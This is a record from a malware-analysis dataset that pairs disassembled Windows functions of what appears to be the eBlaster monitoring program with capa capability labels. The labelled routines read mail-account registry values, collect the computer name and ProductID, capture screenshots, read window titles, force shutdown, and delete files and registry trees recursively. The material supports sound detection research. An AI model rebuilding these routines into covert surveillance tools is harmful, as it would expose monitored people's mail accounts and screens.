joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a6770
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push r12
sub rsp, 0x2b0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x2e0], rbx
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov byte [rcx], bl
mov byte [rdx], bl
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov r12d, 1
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftInternet_Account_Manager
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400a692c
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], 0x104
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
lea rdx, str.Default_Mail_Account
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400a6920
lea r8, [rsp + 0x80]
lea rdx, str.Accounts_s
lea rcx, [rsp + 0x190]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r11, [rsp + 0x68]
mov qword [rsp + 0x40], r11
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x190]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400a6920
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], 0x104
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x50]
xor r8d, r8d
lea rdx, str.SMTP_Server
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400a6915
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], 0x104
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x50]
xor r8d, r8d
lea rdx, str.SMTP_Email_Address
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
cmove ebx, r12d
mov dword [rsp + 0x58], ebx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov eax, ebx
jmp 0x1400a6934
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.1400c2a20
mov rbx, qword [rsp + 0x2e0]
add rsp, 0x2b0
pop r12
pop rdi
pop rsi
ret
Function at 0x1400ac0e0
Capabilities:
Get hostname

Disassembly:
push rdi
sub rsp, 0x180
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x198], rbx
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x30], 0
mov rax, qword [0x140160e18]
mov qword [rsp + 0x20], rax
call fcn.1400ac010
mov rbx, rax
test rax, rax
je 0x1400ac171
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x1400ac171
lea rdx, str.eBlaster_SN:
lea rcx, [rsp + 0x20]
call fcn.14002d430
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [0x140117b80]
lea rcx, [rsp + 0x20]
call fcn.14002d580
mov byte [rsp + 0x60], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x61]
call fcn.1400c2840
mov dword [rsp + 0x28], 0
lea rdx, str.default
lea rcx, [rsp + 0x60]
nop
movzx eax, byte [rdx]
mov byte [rcx], al
add rdx, 1
add rcx, 1
test al, al
jne 0x1400ac1a0
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x60]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x1400ac210
lea rdx, str.Computer_Name:
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [0x140117b80]
lea rcx, [rsp + 0x20]
call fcn.14002d580
xor r9d, r9d
lea r8d, [r9 + 7]
lea rdx, str._d._d
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, str.eBlaster_Version:
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [0x140117b80]
lea rcx, [rsp + 0x20]
call fcn.14002d580
mov r8d, 0xc12
lea rdx, [0x1400e4e80]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, str.__Build:
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14002d580
lea rdx, [0x140117b80]
lea rcx, [rsp + 0x20]
call fcn.14002d580
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rdx - 0x10]
add rcx, 1
call fcn.14008c4a0
mov rdi, rax
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x20]
mov rdx, rax
nop
nop
nop
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, 1
add rdx, 1
test al, al
jne 0x1400ac2d0
test rbx, rbx
je 0x1400ac2ef
mov rcx, rbx
call fcn.14008c4f0
nop
lea rcx, [rsp + 0x20]
call fcn.14002d2c0
nop
mov rax, rdi
jmp 0x1400ac304
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400c2a20
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret
Function at 0x1400b0e90
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rbx, rdx
mov r15d, r8d
mov r12, rcx
lea r8, [rsp + 0x70]
mov edx, 0x20
mov rcx, rbx
mov r14d, r9d
call qword [sym.imp.GDI32.dll_GetObjectA]
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdx, rbx
mov rcx, rax
mov rbp, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetMapMode]
mov rcx, rbp
mov edx, eax
call qword [sym.imp.GDI32.dll_SetMapMode]
mov ecx, dword [rsp + 0x78]
mov r11d, dword [rsp + 0x74]
mov dword [rsp + 0x5c], ecx
lea rdx, [rsp + 0x58]
mov r8d, 1
mov rcx, r12
mov dword [rsp + 0x58], r11d
call qword [sym.imp.GDI32.dll_DPtoLP]
xor edi, edi
lea rdx, [rsp + 0x50]
lea r8d, [rdi + 1]
mov rcx, rbp
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], edi
call qword [sym.imp.GDI32.dll_DPtoLP]
mov rcx, qword [rsp + 0xe0]
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetClientRect]
mov esi, dword [rsp + 0x68]
mov r13d, dword [rsp + 0x6c]
sub esi, dword [rsp + 0x60]
sub r13d, dword [rsp + 0x64]
test esi, esi
jle 0x1400b0fb8
nop
nop
nop
mov ebx, dword [rsp + 0x74]
mov dword [rsp + 0x40], 0xcc0020
mov eax, esi
sub eax, edi
lea edx, [rdi + r15]
mov r8d, r14d
cmp eax, ebx
mov rcx, r12
cmovl ebx, eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x50]
mov r9d, ebx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], r13d
call qword [sym.imp.GDI32.dll_BitBlt]
add edi, ebx
cmp edi, esi
jl 0x1400b0f70
mov rcx, rbp
call qword [sym.imp.GDI32.dll_DeleteDC]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400b2ec0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
cmp dword [0x1401694c0], 0
je 0x1400b2ede
xor eax, eax
cmp qword [0x1401694a8], rax
setne al
add rsp, 0x28
ret
mov qword [rsp + 0x20], rbx
call fcn.1400b2e60
lea rcx, str.USER32
mov dword [0x1401694c4], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
mov rbx, rax
je 0x1400b2fec
lea rdx, [0x1401195a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x140169488], rax
je 0x1400b2fec
lea rdx, str.MonitorFromWindow
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x140169490], rax
je 0x1400b2fec
lea rdx, str.MonitorFromRect
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x140169498], rax
je 0x1400b2fec
lea rdx, str.MonitorFromPoint
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x1401694a0], rax
je 0x1400b2fec
lea rdx, str.EnumDisplayMonitors
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x1401694b0], rax
je 0x1400b2fec
lea rdx, str.GetMonitorInfoA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x1401694a8], rax
je 0x1400b2fec
lea rdx, str.EnumDisplayDevicesA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x1401694b8], rax
je 0x1400b2fec
mov rbx, qword [rsp + 0x20]
mov eax, 1
mov dword [0x1401694c0], eax
add rsp, 0x28
ret
mov rbx, qword [rsp + 0x20]
xor eax, eax
mov dword [0x1401694c0], 1
mov qword [0x140169488], rax
mov qword [0x140169490], rax
mov qword [0x140169498], rax
mov qword [0x1401694a0], rax
mov qword [0x1401694a8], rax
mov qword [0x1401694b0], rax
mov qword [0x1401694b8], rax
add rsp, 0x28
ret

Function at 0x1400b3410
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
test r9, r9
mov rsi, r8
mov rdi, rcx
lea r8, str.RT_RCDATA
movzx edx, dx
je 0x1400b3437
mov r8, r9
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
mov rbx, rax
je 0x1400b347d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rdi
mov dword [rsi], eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400b3483
mov rcx, rax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x1400b3620
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1400b36c4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400b36bd
lea r8, [rsp + 0x34]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x30]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov r9d, 1
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
add rsp, 0x48
ret
xor eax, eax
add rsp, 0x48
ret
xor edx, edx
lea ecx, [rdx + 2]
add rsp, 0x48
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]

Function at 0x1400b3940
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rsi
push rdi
sub rsp, 0x178
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x160], rax
test rdx, rdx
mov rdi, rdx
mov rsi, rcx
je 0x1400b3a91
cmp byte [rdx], 0
je 0x1400b3a91
lea rax, [rsp + 0x48]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400b3a68
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x170], rbp
xor ebp, ebp
mov qword [rsp + 0x30], rbp
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1400b3a41
nop
nop
nop
nop
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x60]
call fcn.1400b3940
test eax, eax
mov ebx, eax
jne 0x1400b3a82
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x1400b39f0
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rbx, qword [rsp + 0x1a0]
mov rbp, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400c2a20
add rsp, 0x178
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x1400b3a58
mov eax, 0x32
jmp 0x1400b3a68
Function at 0x1400b57d0
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rdx, [0x1400e4ec8]
mov rbx, rcx
call fcn.14002d430
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1400b581a
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jae 0x1400b5831
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1400b583a
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 4
jne 0x1400b583a
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersion
jmp 0x1400b5841
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersion
lea rax, [rsp + 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400b58ef
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], al
call fcn.1400c2840
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
lea r9, [rsp + 0x38]
lea rdx, str.ProductID
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov dword [rsp + 0x3c], 0x104
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400b58e4
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14002d430
lea r8, [0x1400e4ec8]
lea rdx, [0x1400fcb60]
mov rcx, rbx
call fcn.14002dff0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400c2a20
add rsp, 0x160
pop rbx
ret

Function at 0x1400b5910
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rdx
mov rbx, rcx
mov byte [rcx], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x40], 0x80
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor r11d, r11d
lea r8, [rsp + 0x50]
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x30], r11
or r9d, 0xffffffff
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400c2a20
mov rbx, qword [rsp + 0x180]
add rsp, 0x160
pop rdi
ret
Function at 0x1400b5a00
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
push r12
mov eax, 0x20a8
call fcn.1400e2f20
sub rsp, rax
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x2090], rax
mov r12d, edx
mov rbx, rcx
or edi, 0xffffffff
mov dword [rsp + 0x20], edi
test rcx, rcx
jne 0x1400b5a52
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1400b5a6f
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
mov byte [rsp + 0x40], 0
jmp 0x1400b5a83
mov r8d, 0x50
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [rsp + 0x20e0]
mov rax, rcx
shr rax, 0x10
test ax, ax
jne 0x1400b5ac5
movzx edx, cx
mov r9d, 0x2000
lea r8, [rsp + 0x90]
mov rcx, qword [0x140167678]
call qword [sym.imp.USER32.dll_LoadStringA]
lea r11, [rsp + 0x90]
mov qword [rsp + 0x20e0], r11
mov edx, 0x4000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x1400b5b28
lea r8, [rsp + 0x20e8]
mov rdx, qword [rsp + 0x20e0]
mov rcx, rax
call fcn.1400c8550
mov qword [rsp + 0x28], 0
bts r12d, 0x10
mov r9d, r12d
lea r8, [rsp + 0x40]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov dword [rsp + 0x20], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400b5b2c
mov dword [rsp + 0x20], edi
mov eax, edi
jmp 0x1400b5b34
mov rcx, qword [rsp + 0x2090]
xor rcx, rsp
call fcn.1400c2a20
add rsp, 0x20a8
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400b6540
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Set current directory

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x3a0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rdx, [r11 - 0x238]
nop
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, 1
add rdx, 1
test al, al
jne 0x1400b6580
mov edx, 0x5c
lea rcx, [rsp + 0x170]
call fcn.1400c2dd0
test rax, rax
je 0x1400b65ab
mov byte [rax], 0
lea rdx, [rsp + 0x280]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400b661f
mov esi, 1
nop
nop
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
cmovne ebx, esi
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400b65f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
nop
mov eax, ebx
jmp 0x1400b6636
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.1400c2a20
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400b6690
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x3b0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x3a0], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
mov ebx, 1
mov dword [rsp + 0x20], ebx
test rcx, rcx
je 0x1400b6865
cmp byte [rcx], 0
je 0x1400b6865
call fcn.1400b3780
test eax, eax
jne 0x1400b66f1
mov eax, ebx
jmp 0x1400b686f
mov esi, ebx
mov rcx, rdi
lea rdx, [rsp + 0x290]
nop
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, rsi
add rdx, rsi
test al, al
jne 0x1400b6700
lea rcx, [rsp + 0x290]
call fcn.1400b3390
lea rdi, [rsp + 0x290]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [0x1400eb6d0]
mov dword [rdi - 1], eax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x28], rax
cmp rax, 0xffffffffffffffff
je 0x1400b6857
test esi, esi
je 0x1400b684c
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x180]
nop
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, 1
add rdx, 1
test al, al
jne 0x1400b6770
lea rcx, [rsp + 0x180]
call fcn.1400b3390
lea rdi, [rsp + 0x180]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x6c]
xor ecx, ecx
nop
nop
nop
movzx eax, byte [rdx + rcx]
mov byte [rdi + rcx - 1], al
add rcx, 1
test al, al
jne 0x1400b67b0
test byte [rsp + 0x40], 0x10
je 0x1400b6806
lea rsi, [rsp + 0x6c]
lea rdi, [0x1400e8c38]
mov ecx, 2
repe cmpsb byte [rsi], byte [rdi]
je 0x1400b682d
lea rsi, [rsp + 0x6c]
lea rdi, [0x1401199ec]
mov ecx, 3
repe cmpsb byte [rsi], byte [rdi]
je 0x1400b682d
lea rcx, [rsp + 0x180]
call fcn.1400b6690
mov ebx, eax
mov dword [rsp + 0x20], eax
jmp 0x1400b682d
mov edx, 0x80
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
je 0x1400b6845
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
mov esi, eax
jmp 0x1400b6847
xor esi, esi
jmp 0x1400b6757
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
jmp 0x1400b686d
xor eax, eax
jmp 0x1400b686f
mov eax, ebx
mov rcx, qword [rsp + 0x3a0]
xor rcx, rsp
call fcn.1400c2a20
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400b68d0
Capabilities:
Create directory
Get common file path
Set current directory

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x380
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov rsi, rcx
mov dword [rsp + 0x20], 0
lea rdx, [r11 - 0x128]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x150]
call fcn.1400c2840
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x40]
call fcn.1400c2840
mov rdx, rsi
lea rcx, [rsp + 0x150]
nop
movzx eax, byte [rdx]
mov byte [rcx], al
add rdx, 1
add rcx, 1
test al, al
jne 0x1400b6950
mov edx, 0x5c
lea rcx, [rsp + 0x150]
call fcn.1400c7750
mov qword [rsp + 0x28], rax
lea rbx, [rsp + 0x150]
test rax, rax
je 0x1400b69fd
mov byte [rax], 0
lea rdi, [rsp + 0x40]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop
nop
nop
movzx eax, byte [rbx + rcx]
mov byte [rdi + rcx - 1], al
add rcx, 1
test al, al
jne 0x1400b69a0
lea rdi, [rsp + 0x40]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x1400e5fa8]
mov word [rdi - 1], ax
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x28]
call fcn.1400b2e00
mov rbx, qword [rsp + 0x28]
cmp byte [rbx], 0
je 0x1400b69fd
mov edx, 0x5c
mov rcx, rbx
call fcn.1400c7750
mov qword [rsp + 0x28], rax
jmp 0x1400b6980
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov edi, eax
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
nop
mov eax, edi
jmp 0x1400b6a2e
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.1400c2a20
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret